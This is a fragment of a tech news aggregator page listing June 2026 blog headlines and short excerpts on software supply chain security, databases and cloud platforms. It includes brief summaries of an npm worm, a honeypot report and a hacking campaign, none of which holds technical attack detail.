            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A new npm worm is abusing binding.gyp to trigger node-gyp during install, letting malicious packages run code without lifecycle scripts. It steals credentials, persists in GitHub, and self-propagates </p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/node-gyp-supply-chain-compromise-self-propagating-npm-worm-binding-gyp/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-type-level-security-the-future-of-secure-ai-code-generation" class="group relative scroll-mt-24">
        <a href="#h3-type-level-security-the-future-of-secure-ai-code-generation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Type Level Security: The future of secure AI code generation?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-type-level-security-the-future-of-secure-ai-code-generation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Secure-by-design types can turn common bugs into compile-time errors. This post explores how type-level security could help prevent entire classes of AI-generated vulnerabilities.</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/type-level-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-is-software-supply-chain-security" class="group relative scroll-mt-24">
        <a href="#h3-what-is-software-supply-chain-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What is Software Supply Chain Security?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-is-software-supply-chain-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Software supply chain attacks have accelerated faster than most security teams anticipated. Sonatype&#39;s 2026 State of the Software Supply Chain report identified more than 454,000 new malicious package</p>
<p><strong>📅 Jun 3, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/what-is-software-supply-chain-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-harness-may-2026-product-updates-60-new-features" class="group relative scroll-mt-24">
        <a href="#h3-harness-may-2026-product-updates-60-new-features" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Harness May 2026 Product Updates: 60+ New Features
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-harness-may-2026-product-updates-60-new-features"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>See 60+ Harness updates from May 2026 across AI-native development, software delivery, security, artifact management, cost visibility, and engineering insights. | Blog</p>
<p><strong>📅 Jun 3, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/shipped-in-may-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-new-security-risks-of-the-agentic-development-lifecycle" class="group relative scroll-mt-24">
        <a href="#h3-the-new-security-risks-of-the-agentic-development-lifecycle" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The New Security Risks of the Agentic Development Lifecycle
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-new-security-risks-of-the-agentic-development-lifecycle"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI agents are changing how software gets built, and with it, where security risk begins. Learn why securing the process matters as much as securing the code.</p>
<p><strong>📅 Jun 3, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/agentic-development-lifecycle/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-the-laptop-return-that-broke-a-rag-pipeline" class="group relative scroll-mt-24">
        <a href="#h3-the-laptop-return-that-broke-a-rag-pipeline" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Laptop Return that Broke a RAG Pipeline
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-laptop-return-that-broke-a-rag-pipeline"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Editor’s note: This post originally appeared on The New Stack and is republished with permission. The original version is available here. A few months ago, one of our users filed a bug report that stu</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/hybrid-search-rag-retrieval-accuracy/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-with-google-data-cloud" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-with-google-data-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new with Google Data Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-with-google-data-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>June 1 - June 5 Beyond the Query: Powering AI Agents with Bigtable, Firestore &amp; Memorystore Discover the latest advancements in Google Cloud&#39;s NoSQL Database portfolio, including Bigtable, Firestore, </p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/data-analytics/whats-new-with-google-data-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-get-started-with-meko-agent-memory-with-built-in-discernment" class="group relative scroll-mt-24">
        <a href="#h3-get-started-with-meko-agent-memory-with-built-in-discernment" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Get Started with Meko: Agent Memory with Built-in Discernment
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-get-started-with-meko-agent-memory-with-built-in-discernment"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>With Meko, your project context lives in a datapack any MCP-connected client can read. This allows you to switch tools without losing context, share useful information with your team while keeping sel</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/meko-agent-memory-with-built-in-discernment/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-postgresql-19-beta-1-released" class="group relative scroll-mt-24">
        <a href="#h3-postgresql-19-beta-1-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PostgreSQL 19 Beta 1 Released!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-postgresql-19-beta-1-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The PostgreSQL Global Development Group announces that the first beta release of PostgreSQL 19 is now available for download. This release contains PostgreSQL 19 feature previews ahead of general avai</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/postgresql-19-beta-1-released-3313/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-agentic-supplier-management-with-mongodb-atlas-voyage-ai-and-multi-modal-search" class="group relative scroll-mt-24">
        <a href="#h3-agentic-supplier-management-with-mongodb-atlas-voyage-ai-and-multi-modal-search" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Agentic Supplier Management with MongoDB Atlas, Voyage AI, and Multi-Modal Search
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agentic-supplier-management-with-mongodb-atlas-voyage-ai-and-multi-modal-search"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Retail supply chains are not a back-office logistics function; they are a high-stakes, board-level concern. Imagine learning suddenly that shipment rerouting surcharges have doubled due to new regiona</p>
<p><strong>📅 Jun 3, 2026</strong> • <strong>📰 MongoDB Blog</strong></p>
<p><a href="https://www.mongodb.com/company/blog/innovation/agentic-supplier-management-with-atlas-voyage-ai-multi-modal-search"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-powering-the-inference-era-inside-the-digitalocean-data-learning-layer" class="group relative scroll-mt-24">
        <a href="#h3-powering-the-inference-era-inside-the-digitalocean-data-learning-layer" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Powering the Inference Era: Inside the DigitalOcean Data & Learning Layer
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-powering-the-inference-era-inside-the-digitalocean-data-learning-layer"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Building an AI-native application requires a data layer that can do two things at once: handle the structured, transactional queries your application runs on, and understand meaning well enough to pow</p>
<p><strong>📅 Jun 3, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/dataandlearning"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-reasoning-explained-smarter-models-still-need-context" class="group relative scroll-mt-24">
        <a href="#h3-ai-reasoning-explained-smarter-models-still-need-context" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI reasoning explained: smarter models still need context
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-reasoning-explained-smarter-models-still-need-context"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every few months, a new AI model drops with higher benchmark scores, and the reaction is predictable: &quot;This one finally reasons.&quot; The leaderboard shuffles. And teams building production AI systems sti</p>
<p><strong>📅 Jun 3, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/ai-reasoning-explained-context-matters/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-semantic-layer-vs-context-layer-where-bi-modeling-ends-ai-grounding-begins" class="group relative scroll-mt-24">
        <a href="#h3-semantic-layer-vs-context-layer-where-bi-modeling-ends-ai-grounding-begins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Semantic layer vs context layer: where BI modeling ends & AI grounding begins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-semantic-layer-vs-context-layer-where-bi-modeling-ends-ai-grounding-begins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your BI semantic layer solved a hard problem: getting every team, dashboard, and report to agree on what shared metrics like &quot;revenue,&quot; &quot;active customer,&quot; or &quot;customer acquisition cost&quot; actually mean.</p>
<p><strong>📅 Jun 3, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/semantic-layer-vs-context-layer/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-dear-cqlsh-your-dependencies-were-killing-us-ps-we-rewrote-you-in-rust" class="group relative scroll-mt-24">
        <a href="#h3-dear-cqlsh-your-dependencies-were-killing-us-ps-we-rewrote-you-in-rust" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Dear cqlsh: Your dependencies were killing us (P.S. We rewrote you in Rust)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-dear-cqlsh-your-dependencies-were-killing-us-ps-we-rewrote-you-in-rust"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A story of rewriting cqlsh in Rust…with Claude Code and a lot of planning Dear cqlsh, I vouched for you. I told the team you were fine. I forked you, catered to you, vendored your dependencies and you</p>
<p><strong>📅 Jun 2, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/06/02/rewrote-cqlsh-in-rust/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-beautiful-game-winning-at-scale-with-a-multi-agent-strategy" class="group relative scroll-mt-24">
        <a href="#h3-the-beautiful-game-winning-at-scale-with-a-multi-agent-strategy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Beautiful Game: Winning at Scale with a Multi-Agent Strategy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-beautiful-game-winning-at-scale-with-a-multi-agent-strategy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>During major live sporting events, peak traffic reaches unprecedented levels, and customers expect a flawless in-the-moment experience. The right data infrastructure separates the platforms that win f</p>
<p><strong>📅 Jun 2, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/winning-at-scale-with-a-multi-agent-strategy/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-your-ai-doesnt-understand-your-business-how-teams-fix-it" class="group relative scroll-mt-24">
        <a href="#h3-why-your-ai-doesnt-understand-your-business-how-teams-fix-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why your AI doesn't understand your business (& how teams fix it)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-your-ai-doesnt-understand-your-business-how-teams-fix-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your AI can summarize documents and answer questions about almost anything on the internet. But ask it about your business, and things fall apart. It pulls stale pricing, ignores internal policies, or</p>
<p><strong>📅 Jun 2, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/why-ai-misses-business-context/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-diving-deep-into-rediss-new-array-data-type" class="group relative scroll-mt-24">
        <a href="#h3-diving-deep-into-rediss-new-array-data-type" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Diving deep into Redis’s new array data type
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-diving-deep-into-rediss-new-array-data-type"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The most popular data types in Redis are strings, lists, hashes, sets, and sorted sets. Each is purpose-built around a specific way of organizing data, enabling developers to solve a wide range of tec</p>
<p><strong>📅 Jun 2, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/diving-deep-into-rediss-new-array-data-type/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 Jun 8, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 Jun 8, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 Jun 8, 2026</strong> • <strong>📰 Linode Blog</strong></p>
